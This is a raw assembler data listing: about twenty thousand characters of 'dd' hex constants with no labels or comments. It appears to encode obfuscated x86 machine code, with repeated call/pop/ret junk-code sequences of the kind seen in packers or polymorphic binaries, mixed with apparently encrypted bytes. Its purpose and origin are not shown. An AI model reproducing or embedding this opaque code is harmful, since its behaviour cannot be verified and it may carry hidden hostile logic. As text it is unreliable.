		dd 0C085DD00h, 95EA474Bh, 0A6F5162Dh, 0DAD97C35h, 0BA6C47ADh
		dd 12219529h, 0F5B061Eh, 8361C8BFh, 840F01E1h, 2Dh, 1CC5BD8Bh
		dd 0A583061Eh, 0FFFFFFFFh, 0A99D8BFEh, 89061E07h, 5F4C4C95h
		dd 75CB8150h, 0F22475Ch, 388h, 0FE8B6600h, 0E9h, 94B58D00h
		dd 0F06228Eh, 286h, 6ADA8B00h, 0DE8B6600h, 26C195FFh, 6A061Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 66C126C3h, 0E577F381h, 0CF9BD2Bh, 74B9061Eh,	0F800000Fh
		dd 0FFCE183h, 8BFCF8B7h, 1E2DAD9Dh, 0B806h, 0B5290000h
		dd 61E2215h, 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 95296C3h, 0EF814257h, 3964D515h
		dd 1D719D33h, 33AD061Eh, 3E8D1C2h, 4E983D0h, 0DE8BF475h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 68C35141h
		dd 960D29CDh, 79A334DBh, 0D19D8B0Ah, 0D061E29h,	88h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 94C35545h, 8B6258DEh
		dd 75958BD9h, 6A061E23h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0C1EAC350h,	8D8B2C36h
		dd 61E324Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	22C35141h, 50F103E6h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 11BD8B48h, 6A061E27h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B9A5C355h
		dd 0FFEEBB8Ch, 3A612D2Eh, 14E8h, 0F666CD00h, 83468421h
		dd 21F04046h, 2948013Eh, 0A588C572h, 0BD835B9Ah, 61E0259h
		dd 99840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 759DC353h, 0EE9410Ah
		dd 0FD000000h, 0AB40C783h, 1F5B8E18h, 2E510FDBh, 81BF57EFh
		dd 5F70F009h, 8E8h, 0B4587000h,	335B62D9h, 619529CAh, 5F061E30h
		dd 0B8h, 0B88D8D00h, 0BB061E4Ch, 403AC585h, 0DE9h, 4720BF00h
		dd 5E569F69h, 4356BAD4h, 0E1FFAB7Eh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0EFC35141h,	738FF6DCh, 0B589DF8Bh
		dd 61E0085h, 3169BD83h,	0F00061Eh, 3E384h, 0BD83F800h
		dd 61E3169h, 0F0840F01h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0D831C351h
		dd 0FA8B486Eh, 3169BD83h, 0F03061Eh, 38C86h, 6820F00h
		dd 9000000h, 1E3191B5h,	6A6006h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B70F74C3h, 0D98C66DBh
		dd 0A672BB66h, 6004E180h, 0E0D858Bh, 0F53061Eh,	8Eh, 0A615A00h
		dd 8D840FC9h, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0B54BC350h,	0F7646D1h
		dd 685h, 419D2900h, 8B061E03h, 1E1A1185h, 0EE96006h, 8F000000h
		dd 77520CECh, 0C32CC656h, 93325CBDh, 61CE8B15h,	14BD8533h
		dd 8B60061Eh, 1E1545BDh, 75B58B06h, 61061E33h, 6690D88Bh
		dd 5050DA8Bh, 7E852h, 476C0000h, 725ECC75h, 10E854h, 0BC900000h
		dd 0A108DA72h, 5D8D8F30h, 58810C51h, 5B5F782Fh,	0F60310Fh
		dd 86h,	585A6100h, 57006A90h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0A72F4D29h, 0BD030A3Bh
		dd 61E1F39h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66CBEFC3h, 2268F88Bh, 816511A2h
		dd 0A1DD2434h, 6A650Eh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 114F13C3h, 9D89A345h, 61E2A61h
		dd 144195FFh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0AA2950C3h, 0E6297440h, 8D29C318h
		dd 61E0549h, 10E9h, 4122B400h, 9F03D4EDh, 0A958AB00h, 9EC49033h
		dd 278589D1h, 660621B0h, 4041C381h, 159E9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 6E9DAh, 0FC800000h, 3CB1C6A5h, 0B01F858Bh, 6A0621h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0FBCAAC3h, 89h, 1800C700h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 9499C350h
		dd 0F53AC24h, 8B5BD8B7h, 21B023B5h, 0F605106h, 6160C7B7h
		dd 858B5B61h, 61E1CC9h,	8E9h, 6F604600h, 77169F29h, 6A0689BAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 0FCCC352h, 68Eh, 0B5853100h, 8B061E16h, 1E1A1185h
		dd 905EBB06h, 0BD8B3CA6h, 61E26D9h, 8B044689h, 1E14519Dh
		dd 8E0F5006h, 3, 89D98B66h, 6E92434h, 4E000000h, 83A18D8Bh
		dd 1FB5FF0Bh, 660621B0h, 68F7D3BFh, 8CEF8C60h, 481DF8Bh
		dd 2F779F24h, 0FAC38173h, 8D54AC47h, 21B02785h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0C35B52C8h, 7A4BCE2h, 0F3810814h, 1F08311h, 24048950h
		dd 1CB1BD89h, 95FF061Eh, 61E1441h, 6A618EB7h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0F6BBC357h, 21BD8B2Ch, 0C7061E2Eh, 1E316985h, 306h
		dd 27BD8300h, 621B0h, 43840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0F8613BC3h
		dd 0EE8h, 7BF30500h, 0CFDEF5DEh, 7ACE21E0h, 0FA59DD1h
		dd 80h,	21E95F00h, 89000000h, 1E29C185h, 0C305006h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 4EC35646h, 1255371h, 89D6D1E5h
		dd 1E0F05BDh, 9D89F506h, 61E3199h, 3169BD83h, 0F03061Eh
		dd 41185h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1804h, 0C3504000h, 0F7836DE1h, 83FE8A4Eh, 21B027BDh
		dd 840F0006h, 3E2h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0BDC35545h, 0B5FF4D01h, 621B027h, 1E25BD0Bh
		dd 95FF061Eh, 61E1555h,	0B01BB58Bh, 6A0621h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 8749BBC3h
		dd 89A74D11h, 1E0DF585h, 35850106h, 8B061E32h, 106C7FAh
		dd 6A000100h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 8A38C355h, 0C4736E45h,	823B5FD3h
		dd 5E8h, 63065D00h, 8C0FEBBAh, 6, 15619D8Bh, 965F061Eh
		dd 3408BB56h, 505F6E5Fh, 96FA8B66h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 29C35545h, 0C7E22422h, 0B7BF6660h
		dd 0F5BD8B2Bh, 61061E22h, 0A8C38056h, 27B5FF5Fh, 0F0621B0h
		dd 882h, 0BD335000h, 61E1479h, 3D95FF5Fh, 6A061E2Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0DBEFC357h, 0B3B3E47Fh, 9B002FD0h, 2A11B589h, 0B58B061Eh
		dd 621B01Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	41C35242h, 6E34CF81h, 9D8B1C7Fh, 61E3001h, 2A21858Bh
		dd 8B66061Eh, 6830FDEh,	8B000000h, 1E2BB1BDh, 0C4868906h
		dd 0F000000h, 583h, 0CF816600h,	8E8EF8Dh, 0C5000000h, 0DB9FC46Fh
		dd 0FE08E8Fh, 8Ch, 958B5F00h, 61E2375h,	95D9D8Bh, 0DF81061Eh
		dd 7797D6DAh, 6A04C283h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 77B2C357h, 528ACA36h
		dd 6880Fh, 0BD8B0000h, 61E0879h, 2050895Fh, 858D35B7h
		dd 621C4A4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	0FEC35040h, 0A9AA98E5h,	0DB8166DDh, 39BF6758h
		dd 0E914963Fh, 0Fh, 17482FA8h, 19BEA893h, 8C968471h, 8908678Eh
		dd 0B886h, 58D0F00h, 0BB000000h, 4D1B53B7h, 6A006Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 16D1A5C3h, 335C9941h, 1E3175BDh, 27B5FF06h, 0F0621B0h
		dd 686h, 0DD9D0100h, 0FF061E01h, 1E32F995h, 0B5896006h
		dd 61E2CFDh, 174D8D8Bh,	9661061Eh, 19850Fh, 0E9570000h
		dd 12h,	2A4BA5DBh, 6CA8614Bh, 0C11C42C5h, 7E9BB8F0h, 505BCDB3h
		dd 5E9h, 26635200h, 6A96FAD5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 3258C353h, 8919B677h
		dd 1E0061B5h, 27B5FF06h, 890621B0h, 1E308DB5h, 4995FF06h
		dd 6A061E30h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0A6BDC351h, 9D2B764Dh,	61E14E5h
		dd 0DB9BD83h, 0F00061Eh, 2D84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0AE3ADAB4h
		dd 27B3B371h, 24348950h, 2E999D8Bh, 0B5FF061Eh,	621B027h
		dd 1F05BD89h, 95FF061Eh, 61E164Dh, 10D7F381h, 0B5FF020Ch
		dd 621B027h, 0C99D2960h, 8B061E2Ah, 1E0D39B5h, 95FF6106h
		dd 61E09DDh, 1E819D8Bh,	0BD83061Eh, 61E2BD9h, 2F840F02h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 4D78C357h, 0B590EA08h,	858B6208h
		dd 61E0E2Dh, 0F0000C6h,	85C7D9B7h, 61E1F81h, 0
		dd 0FE8h, 777E7700h, 0E679C792h, 19922928h, 3C0C56DDh
		dd 6E956h, 17D40000h, 0F585C07Fh, 0A3E95B5Bh, 6AFFFFF3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 7FC7C355h, 0EF4E9D30h, 31C05924h,	1E12419Dh
		dd 0B9BD2906h, 8B061E2Fh, 952960C1h, 61E292Dh, 5DCFBF66h
		dd 8DD88B61h, 1E19DD85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 1A112A49h, 82D79BAFh
		dd 519D096Dh, 0E9061E2Ch, 13h, 3807483Fh, 7EF733F6h, 0BDABE3F7h
		dd 46A9D34h, 90C49FE7h,	7EBB5360h, 5A773F6Ah, 52505061h
		dd 310FFA8Bh, 60F28B60h, 585A6161h, 3513BF90h, 6A7F1Bh
		dd 8B66006Ah, 76858DDEh, 0F5062320h, 8105C083h,	0B3AC8ACBh
		dd 0DE8B9010h, 0B3525050h, 50310F12h, 0F525052h, 0F585A31h
		dd 0F525031h, 5A585A31h, 90585A58h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0DAC35242h,	0FD5FF3Bh, 687h
		dd 0D99D8B00h, 6A061E09h, 9006A00h, 1E0F19BDh, 0ED95FF06h
		dd 6A061E21h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0B42EC357h, 0F26A3BC7h, 8D4B5EB7h
		dd 2194B68Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 54C4165Ah, 8CC5F8Eh, 0BCD38166h
		dd 6AD1FFA5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 1ADC350h, 812F4EDDh, 0F29D77E7h
		dd 2870F66h, 8B000000h,	2DBD83F8h, 1061E27h, 48850Fh, 0BD8B0000h
		dd 61E1FD9h, 8A0F026Ah,	5, 429896BBh, 5250506Fh, 0F60310Fh
		dd 8Fh,	8BB86600h, 585A6138h, 0E9240489h, 0Fh, 21EB2073h
		dd 0A47ED2E7h, 0EEC307A9h, 0FFFB9D37h, 1E32F995h, 3ED0BF06h
		dd 52E92339h, 0E800000Ch, 0
		dd 80ED815Dh, 6A062320h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 80B7C350h, 89BD8BA2h
		dd 0E9061E02h, 0Dh, 5339253Bh, 45DCB42Dh, 0C1BE2080h, 0FE858D82h
		dd 8B06218Dh, 1E193DBDh, 0DA8B6606h, 63B5BF90h,	0F505A68h
		dd 1385h, 0D840F00h, 0E8000000h, 7, 4AD0A8C5h, 5B5A4F76h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 35FF6484h, 0
		dd 14850FF5h, 0E8000000h, 9, 1EAE518Fh,	0E0306CC5h, 4B97BF78h
		dd 645B4CBBh, 2589h, 8B660000h,	9185FFFAh, 89061E1Dh, 1E2F659Dh
		dd 6AFF6A06h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 3CA6C353h, 0FF222859h,	1E31B1B5h
		dd 959D8B06h, 0FF061E04h, 1E165595h, 10DE906h, 95290000h
		dd 61E0CE5h, 8D0F00B0h,	5, 54D38166h, 0DABF0FBFh, 0BD8B70E6h
		dd 61E2F55h, 0DA8B71E4h, 830F613Ch, 0E3h, 0FFEBF0Fh, 0BBC8B6h
		dd 0BA04E1DAh, 6, 0EF07BB66h, 800FC18Bh, 3, 0C1FB8B66h
		dd 0BD8B04E8h, 61E0E05h, 0E9E2F766h, 9,	7A730406h, 750A2184h
		dd 0E9C82B91h, 13h, 0B39DFF33h,	0A0ABC89Ah, 5D8BFEC5h
		dd 5DF4230Fh, 8BEECA32h, 0E9D98BD1h, 87h, 20458D89h, 858B061Eh
		dd 4947554Ch, 10E952h, 0AD260000h, 0C9ABEF1Bh, 3D768860h
		dd 176D8D1Fh, 835F2B5Eh, 8B6607C0h, 0C083DAh, 1A55BD8Bh
		dd 0D03B061Eh, 1E830Fh,	10E90000h, 74000000h, 8FB14B5Ah
		dd 9B656A04h, 3768A315h, 0E9986B67h, 33h, 0ECBEBB66h, 0FFFF8D8Bh
		dd 18B7FFFFh, 0F01E183h, 1E84h,	3834BB00h, 0A58378F4h
		dd 0FFFFFFFFh, 0CF8166FEh, 9589A821h, 4947554Ch, 0E984B3h
		dd 8D000000h, 229E08B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 8BB0FBB7h, 9D893F3Fh
		dd 61E0C45h, 32FDBD01h,	6A061Eh, 232D9589h, 6E9061Eh, 63000000h
		dd 512019DFh, 0C195FFD9h, 6A061E26h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6FDC351h
		dd 45BD8B03h, 0B9061E32h, 107Dh, 10E8h,	5E7F3500h, 0DED69E83h
		dd 0D893476Ah, 0CE838EB0h, 0D8D29A4h, 5B061E02h, 6AFCE183h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 1155C355h, 0FCF88A13h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0E7C35242h,	0C02BC49Fh, 1D898D29h
		dd 2BF8061Eh, 8D2360D2h, 61E2A49h, 192D858Bh, 0AD61061Eh
		dd 0E8D1C233h, 0E983D003h, 51F47504h, 8B5BFA8Bh, 259D8BF9h
		dd 0D061E03h, 88h, 8BFA8B66h, 1E237595h, 8BD88A06h, 1E324D8Dh
		dd 0C6CB8106h, 501C3B68h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 6259A6C1h, 727DE0DBh, 0DE96031h
		dd 0C6000000h, 420B045Eh, 0E29EB7B2h, 0EC583849h, 232D9589h
		dd 0F61061Eh, 0B70FFAB7h, 59BD83F8h, 61E02h, 69840Fh, 0BD8B0000h
		dd 61E1FBDh, 0B8h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 2E7C34D6h, 8947D36Ch
		dd 1E333DB5h, 0B88D8D06h, 8B061E4Ch, 14E8D8h, 877D0000h
		dd 0C8F03105h, 8654FC81h, 1B4108FAh, 0F32EED43h, 0D381F05Ah
		dd 43FAB5Ah, 0E9E1FF5Fh, 7, 6DF2A97h, 8340ADDDh, 1E3169BDh
		dd 840F0006h, 3B6h, 2C91BD09h, 0BD83061Eh, 61E3169h, 0BE840F01h
		dd 0B7000003h, 69BD83CFh, 3061E31h, 379860Fh, 6E90000h
		dd 0D0000000h, 0F25D34FDh, 870F6080h, 3, 66FAB70Fh, 890FD98Ch
		dd 0Dh,	8E9h, 15FC5000h, 288D709Eh, 80F88B96h, 6A04E1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 97537BC3h, 14E9h, 1AE92600h,	32B33517h, 0F4E938B0h
		dd 933B7E53h, 0BEB7524Ch, 0BD2960AEh, 61E1E49h,	0BE9h
		dd 1A48BC00h, 0FF1E4820h, 0E42A3A9Eh, 0FC90A61h, 11684h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0C8E699DBh, 943FFAA7h, 0CB817B32h, 30934BB9h
		dd 1A11858Bh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0EDE555C3h, 16519D23h, 8533061Eh
		dd 61E14BDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	55C35141h, 550CC57Eh, 90F64CD7h, 50FE8B66h, 69F5BF66h
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 7CA7DA7Bh, 6EAAD7D3h, 0FFBFD2CAh, 6A08D637h
		dd 418D8900h, 0F061E0Ch, 4E8DEBFh, 0FF000000h, 50001F03h
		dd 8BDE8B66h, 0E9042444h, 6, 40CAC4FCh,	8B7A54h, 0FE9h
		dd 1C5E4E00h, 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 4244489h
		dd 58DF8B66h, 144195FFh, 9509061Eh, 61E154Dh, 0B0278589h
		dd 81660621h, 0E905D9DBh, 194h,	8B8EC380h, 21B01F85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 9D8B43DAh, 61E17B5h,	1800C7h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 4B0E06C3h
		dd 546EBB66h, 0B023B58Bh, 57510621h, 141BD8Bh, 5B5B061Eh
		dd 1CC9858Bh, 689061Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0CFC35646h, 11858B13h, 66061E1Ah, 0F245D781h
		dd 6A044689h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 46D8C350h, 91216D9Fh, 0C497EF1h
		dd 0E38166F9h, 0F50833Ch, 1A87h, 0E9525000h, 0Bh, 1F813DD8h
		dd 0F6FF06E1h, 0F0D31B8h, 4BBB6631h, 89585A2Bh,	81662434h
		dd 0FFD025C7h, 21B01FB5h, 890FF506h, 0
		dd 6DA32668h, 81DF8B70h, 0A0D92434h, 858D7072h,	621B027h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7BC35545h
		dd 0AE078E6Ch, 89CD47B4h, 1E224D85h, 0BF665006h, 489EA88h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 0D68A0BACh, 7E9h, 0BA222F00h, 9BC6CF94h
		dd 144195FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F14443C3h, 8D891DBBh, 61E26A9h
		dd 0BDBD8961h, 0C7061E00h, 1E316985h, 306h, 0AAC6BF00h
		dd 0BD835865h, 621B027h, 28840F00h, 0F000000h, 3BE9FBBFh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 88E8C352h, 50F8EC4Eh, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 5D1912C3h, 13C51F05h, 8BF99F00h, 1E0EE5BDh, 69BD8306h
		dd 3061E31h, 414850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 835240C3h, 462EB6F2h
		dd 9759589h, 0BD83061Eh, 621B027h, 0DF840F00h, 29000003h
		dd 1E014185h, 27B5FF06h, 0E90621B0h, 0Dh, 77B6ADA3h, 0F4509BDAh
		dd 0A818F5C8h, 5595FF4Dh, 66061E15h, 8BFEE2BFh,	21B01BB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0B562FBF9h, 0A6BB1F62h, 0C7064AF8h, 1000106h
		dd 699D8B00h, 96061E2Dh, 0C850F60h, 0E9000000h,	7, 0C3BF6198h
		dd 0BA8DC2E6h, 1BEF54DEh, 8B665061h, 6A96D9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8F293FC3h
		dd 3EFD426Ch, 68C0FC5h,	81000000h, 0A94A16D3h, 27B5FF34h
		dd 6A0621B0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 912EC350h, 3A4B9540h, 8652BF66h
		dd 2B3D95FFh, 0EF81061Eh, 6ED4AED5h, 17F18589h,	0B58B061Eh
		dd 621B01Bh, 21858BF9h,	6A061E2Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EBEFC357h
		dd 0C649CF6h, 0B58960F5h, 61E25DDh, 196DBD8Bh, 0E961061Eh
		dd 0Ch,	96992BC5h, 0D032138Fh, 44DA8634h, 0C48689h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8A0F4FC3h, 6, 2B518D89h, 958B061Eh, 61E2375h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8FC35242h, 763D57FAh
		dd 0D08ABB58h, 0C2833170h, 79B58904h, 89061E33h, 6A2050h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B363DC3h, 1E1DE59Dh, 0A4858D06h, 0F0621C4h,	880FF8BFh
		dd 6, 2A058529h, 8689061Eh, 0B8h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 3BC35646h, 0ADC4B5F4h, 70DF8001h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 286C5DC3h, 66FCEB7Fh, 0B5FFD98Bh,	621B027h
		dd 1F5DBD09h, 95FF061Eh, 61E32F9h, 50D88A96h, 2396FB8Bh
		dd 1E04CD9Dh, 27B5FF06h, 6A0621B0h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9532C355h
		dd 0EEDABB05h, 95FF0433h, 61E3049h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 99C35545h, 0EF5FE744h, 83AFA6AFh
		dd 1E0DB9BDh, 840F0006h, 4Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 58C35646h, 0FB118D7Bh, 5E91Ah
		dd 6FEC0000h, 8BAD6905h, 1E1CDD9Dh, 0B3B75006h,	0E9243489h
		dd 11h,	697A3667h, 22BF7A14h, 9D8E62EAh, 30FDB44Ch, 27B5FF8Bh
		dd 520621B0h, 13519D8Bh, 0FF5F061Eh, 1E164D95h,	5E806h
		dd 802F0000h, 8BCE58EAh, 1E2F51BDh, 0B5FF5B06h,	621B027h
		dd 0A832BB66h, 9DD95FFh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 9ED0FCC3h, 605E0385h
		dd 0FE9h, 0D13D2800h, 9728549Eh, 0A9C94280h, 51C64572h
		dd 0D9BD8361h, 2061E2Bh, 44840Fh, 840F0000h, 0Bh, 0FA8B6660h
		dd 1D698509h, 8B61061Eh, 1E0E2D85h, 0C99D8B06h,	8B061E01h
		dd 0C6F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	38C35141h, 14659D8Bh, 85C7061Eh, 61E1F81h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A2C35646h
		dd 0FA8B66E1h, 2A51BD89h, 82E9061Eh, 89FFFFF4h,	1E04119Dh
		dd 1C18B06h, 1E16F59Dh,	11E806h, 87B80000h, 5B7CEF16h
		dd 8EB447C5h, 69908EFFh, 815F7102h, 0C778DCEEh,	81665B09h
		dd 814A29E1h, 5ACCC3h, 13E900h,	1B1D0000h, 6E69247Fh, 4736AA0Fh
		dd 59A5112Fh, 0E5202D67h, 0BF8Ah, 56B50000h, 0E91F34FFh
		dd 0Dh,	6CD383A9h, 62C8BB46h, 10A1E834h, 13E958B3h, 0EF000000h
		dd 197B8484h, 0FB9FA494h, 7CE9F098h, 1A20FC8Dh,	0F0813088h
		dd 8D25967h, 0CE58501h,	0C081061Eh, 4D40252Bh, 68B0Fh
		dd 0B58B0000h, 61E26F9h, 0A973C081h, 85011563h,	61E07B9h
		dd 0B63B0489h, 0EF81FCF9h, 160B679Fh, 2CD98D8Bh, 0C781061Eh
		dd 160B679Bh, 27118D8Bh, 0FF81061Eh, 0FFFFA61Ch, 13850Fh
		dd 0BD090000h, 61E3245h, 1DE9h,	2CFE2C00h, 1E3155Bh, 59958B3Bh
		dd 0E9061E0Dh, 0FFFFFF60h, 0BF37B0F7h, 25E35959h, 8D8D4311h
		dd 6232E2Dh, 2ECDBD09h,	0C881061Eh, 61C68800h, 23758D89h
		dd 9D29061Eh, 61E1609h,	324D85C7h, 5DA8061Eh, 85C70000h
		dd 61E3169h, 0
		dd 2D11B5FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0FC6B2BC3h, 649F4766h, 0F759DE1h
		dd 4B0D9B7h, 16B995FFh,	6A061Eh, 26C195FFh, 0C08B061Eh
		dd 55394CEBh, 3542F4D2h, 0B85F5A70h, 5132FAD0h,	4839585Bh
		dd 37CF7F1h, 0E8327B87h, 0D59978FFh, 50524743h,	4DA4D2A5h
		dd 0B929317Ch, 0FEA30378h, 0B6A744D9h, 253485C9h, 0BF3B9A5Ch
		dd 5A7C60BDh, 52E613C3h, 5F9074F9h, 2D2635Eh, 8D8D080Ch
		dd 6232F12h, 8A0Fh, 8D890000h, 61E2375h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 0DFC35040h, 353CA2E8h
		dd 0C7E2EF80h, 1E324D85h, 741806h, 0D08B6600h, 316985C7h
		dd 61Eh, 24B30000h, 0FFD08B66h,	1E0EA9B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 60DCE1D5h, 9E9h, 699C1100h, 61DCB056h, 95FF085Bh, 61E16B9h
		dd 6AD08B66h, 0C195FF00h, 8B061E26h, 6D5EEBC0h,	0D44EA00Eh
		dd 1565A4EAh, 767E14CDh, 31281E1Bh, 11A7459Dh, 29EAB36Dh
		dd 0A92332CCh, 0BBCA21C4h, 0A5AA9C3Ch, 40287764h, 564F2202h
